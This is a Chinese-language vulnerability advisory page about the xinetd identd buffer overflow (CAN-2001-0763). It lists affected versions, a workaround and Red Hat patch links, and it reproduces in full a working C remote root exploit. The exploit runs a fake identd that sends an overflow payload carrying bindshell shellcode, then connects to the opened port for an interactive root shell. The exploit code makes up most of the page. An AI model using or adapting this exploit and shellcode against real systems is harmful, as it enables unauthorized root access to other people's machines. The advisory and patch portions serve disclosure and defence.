首页 -> 安全研究

安全研究

安全漏洞
Xinetd缓冲区溢出漏洞

发布日期:2001-06-08
更新日期:2001-07-10

受影响系统:

Xinetd Xinetd 2.1.8.9pre9
Xinetd Xinetd 2.1.8.9pre8
Xinetd Xinetd 2.1.8.9pre7
Xinetd Xinetd 2.1.8.9pre6
Xinetd Xinetd 2.1.8.9pre5
Xinetd Xinetd 2.1.8.9pre4
Xinetd Xinetd 2.1.8.9pre3
Xinetd Xinetd 2.1.8.9pre2
Xinetd Xinetd 2.1.8.9pre15
   + RedHat Linux 7.1
   + RedHat Linux 7.0
Xinetd Xinetd 2.1.8.9pre14
Xinetd Xinetd 2.1.8.9pre13
Xinetd Xinetd 2.1.8.9pre12
Xinetd Xinetd 2.1.8.9pre11
Xinetd Xinetd 2.1.8.9pre10
Xinetd Xinetd 2.1.8.9pre1
Xinetd Xinetd 2.1.8.8
描述:

BUGTRAQ  ID: 2840
CVE(CAN) ID: CAN-2001-0763

Xinetd可能存在一个缓冲区溢出漏洞,它可以通过identd来记录连接到特定服务的客户
机的用户身份,如果客户机支持这个特性的话。

如果攻击者伪造了identd的响应的话,就可能利用这个漏洞获得root权限或使Xinetd崩
溃,由inetd启动的服务,如Telnet,Ftp等都会拒绝服务。

<*来源:zen-parse (zen-parse@gmx.net) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


qitest1 <qitest1@cercaband.com>提供了如下测试代码:

/*
* xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
* by qitest1 28/06/2001
*
* This is a proof of concept code for the exploitation of the bof
* present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
* code uses a single-byte corruption of the fp, as explained by klog.
* sc_addr_pos is the position, from the beginning of the writable
* area, where a pointer to the nop will be placed.
*
* For ethical reasons just one hardcoded target type will be provided.
* Its values work only against one of the bugged 'pre' releases of
* xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
*
* Greets: zen-parse, for having found this bug
*       klog, for his paper about the fp corruption
*       all my friends on the internet =)
*
* 100% pure 0x69. =)   
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define MY_PORT         1
#define THEIR_PORT      23
#define IDENTD_PORT     113
#define FIRST_PAD       1009

  struct targ
    {
      int                  def;
      char                 *descr;
      unsigned long int    retaddr;
      int           sc_addr_pos;
    };

  struct targ target[]=
    {                   
      {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
      {69, NULL, 0}
    };

  char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
  "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
  "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
  "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
  "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
  "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
  "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
  "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
  "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
  "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
  "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

  char   zbuf[1024], host[512];
  int     sel = 0, offset = 0;

  int    sockami2(char *host, int my_port, int their_port);
  void   fake_identd(void);
  void   l33t_buf(void);
  static void keep_clz(void) __attribute__ ((destructor));
  void      shellami(int sock);
  void   usage(char *progname);

int
main(int argc, char **argv)
{
  int    sock, cnt;

  printf("\n  xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
  
  if(getuid())
        {
          fprintf(stderr, "Must be root babe\n");
          exit(1);
        }

  if(argc == 1)
        usage(argv[0]);
  host[0] = 0;
  while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     strncpy(host, optarg, sizeof(host));
     host[sizeof(host)] = '\x00';
     break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   case 's':
     target[sel].sc_addr_pos = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
  if(host[0] == 0)
        usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  target[sel].retaddr += offset;
  printf("+Using: retaddr = %p and sc_addr_pos = %d...\n  ok\n",
  target[sel].retaddr, target[sel].sc_addr_pos);
  printf("+Starting fake_identd...\n");
  fake_identd();
  return;
}

int
sockami2(char *host, int my_port, int their_port)
{
  struct        sockaddr_in address;
  struct        sockaddr_in my_addr;
  struct        hostent *hp;
  int           sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }

  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(my_port);
  my_addr.sin_addr.s_addr = INADDR_ANY;
  bzero(&(my_addr.sin_zero), 8);

  if(bind(sock, (struct sockaddr *)&my_addr,
  sizeof(struct sockaddr)) == -1)
        {
          perror("bind()");
          exit(1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(their_port);

  if(connect(sock, (struct sockaddr *) &address,
  sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}

void
fake_identd(void)
{
  int           sockfd, new_fd, sin_size, rem_port, loc_port, i;
  char          rbuf[1024], sbuf[1024], cif[6], *ptr;
  struct        sockaddr_in my_addr;   
  struct        sockaddr_in their_addr;        

  printf("  fake_identd forking into background\n");
  if (!fork())
    {
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
          {
            perror("socket()");
            exit(1);
          }
        
        my_addr.sin_family = AF_INET;         
        my_addr.sin_port = htons(IDENTD_PORT);     
        my_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(my_addr.sin_zero), 8);        

        if(bind(sockfd, (struct sockaddr *)&my_addr,
        sizeof(struct sockaddr)) == -1)
          {
            perror("bind()");
            exit(1);
          }

        if(listen(sockfd, 1) == -1)
          {
            perror("listen()");
            exit(1);
          }

        while(1)
          {  
            sin_size = sizeof(struct sockaddr_in);
            if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
            &sin_size)) == -1)
              {
                perror("accept()");
                continue;
              }

        /* Fake session
         */
            memset(rbuf, 0, sizeof(rbuf));
            recv(new_fd, rbuf, sizeof(rbuf), 0);

        /* Parsing of query
         */
            ptr = rbuf; i = 0;
            while(*ptr != ',')
              {
                cif[i] = *ptr;
                *ptr++; i ++;
              }
            sscanf(cif, "%d", &rem_port);
            memset(cif, 0, sizeof(cif));
            *ptr++; i = 0;
            while(*ptr != ' ')
              {
                cif[i] = *ptr;
                *ptr++; i++;
              }
            sscanf(cif, "%d", &loc_port);
        
            l33t_buf();
        
            memset(sbuf, 0, sizeof(sbuf));
            sprintf(sbuf, "%d,%d:USERID:%s\r\n",
            rem_port, loc_port, zbuf);
            send(new_fd, sbuf, strlen(sbuf), 0);

            memset(rbuf, 0, sizeof(rbuf));
            recv(new_fd, rbuf, sizeof(rbuf), 0);

        /* End
         */
          }
    }
  return;
}

void
l33t_buf(void)
{
  int           i, n = 0;

  memset(zbuf, 0, sizeof(zbuf));
  for(i = 0; i < FIRST_PAD; i++)
        zbuf[i] = '\x69';

  memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
  for(i = target[sel].sc_addr_pos - strlen(shellcode);
      i < target[sel].sc_addr_pos;
      i++)
        zbuf[i] = shellcode[n++];
  
  zbuf[target[sel].sc_addr_pos + 0] =
    (u_char) (target[sel].retaddr & 0x000000ff);
  zbuf[target[sel].sc_addr_pos + 1] =
    (u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
  zbuf[target[sel].sc_addr_pos + 2] =
    (u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
  zbuf[target[sel].sc_addr_pos + 3] =
    (u_char)((target[sel].retaddr & 0xff000000) >> 24);

  return;
}

void
keep_clz(void)
{
  int    sock;

  if(host[0] != 0)
    {
      printf("+Causing an auth request to our fake_identd\n");
        sock = sockami2(host, MY_PORT, THEIR_PORT);
        printf("  done\n");
        close(sock);

      printf("+Enjoy your root shell...\n  0x69 =)\n");
      sleep(1);
      sock = sockami2(host, 6969, 30464);
      shellami(sock);
    }
}

void
shellami(int sock)
{
  int             n;
  char            recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock, &rset);
      FD_SET(STDIN_FILENO, &rset);
      select(sock+1, &rset, NULL, NULL, NULL);
      if(FD_ISSET(sock, &rset))
        {
          n = read(sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n] = 0;
          printf("%s", recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO, &rset))
        {
          n = read(STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write(sock, recvbuf, n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
  int  i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -h hostname\n"
         "  -t target\n"
         "  -o offset\n"
     "  -s sc_addr_pos\n"
         "Available targets:\n");
  while(target[i].def != 69)
        {
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        }

  exit(1);
}



建议:

建议:

暂时关闭xinetd的日志功能

厂商补丁:

Red Hat Linux (http://www.redhat.com/support/errata/index.html)为此发布了一份安全公告 :
RHSA-2001:092-02 - xinetd
http://www.redhat.com/support/errata/RHSA-2001-092.html


补丁下载 -
________________________________________________________________________
Red Hat Linux 7.0:

SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/xinetd-2.3.0-1.71.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/xinetd-2.3.0-1.71.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/os/i386/xinetd-2.3.0-1.71.i386.rpm

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/xinetd-2.3.0-1.71.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/xinetd-2.3.0-1.71.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/xinetd-2.3.0-1.71.i386.rpm
________________________________________________________________________



浏览次数:5127
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障